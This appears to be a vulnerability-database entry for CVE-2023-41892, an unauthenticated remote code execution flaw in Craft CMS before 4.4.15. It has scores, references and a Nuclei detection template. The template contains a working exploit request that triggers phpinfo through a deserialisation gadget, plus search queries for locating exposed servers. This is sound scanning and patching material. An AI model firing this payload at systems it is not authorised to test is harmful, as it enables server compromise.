CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
AI Score
Confidence
High
EPSS
Percentile
98.8%
Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.
id: CVE-2023-41892
info:
name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
reference:
- https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
- https://blog.calif.io/p/craftcms-rce
- https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical
- https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
- https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-41892
cwe-id: CWE-94
epss-score: 0.8421
epss-percentile: 0.98494
cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: craftcms
product: craft_cms
shodan-query:
- http.favicon.hash:-47932290
- cpe:"cpe:2.3:a:craftcms:craft_cms"
- http.html:craftcms
fofa-query:
- icon_hash=-47932290
- body=craftcms
publicwww-query: "craftcms"
tags: cve2023,cve,rce,unauth,craftcms
http:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}
matchers:
- type: word
words:
- "PHP Credits"
- "PHP Group"
- "CraftCMS"
condition: and
case-insensitive: true
# digest: 490a00463044022032305cd530842d67b635ec10e385f6424a8e71b9babad091d0d16238d501654102207426ea893d05841ab2e149c76f9a759040d2c58acb3a2a4e6c47285acbfe3f1a:922c64590222798bb761d5b6d8e72950
blog.calif.io/p/craftcms-rce
github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical
github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e
github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
AI Score
Confidence
High
EPSS
Percentile
98.8%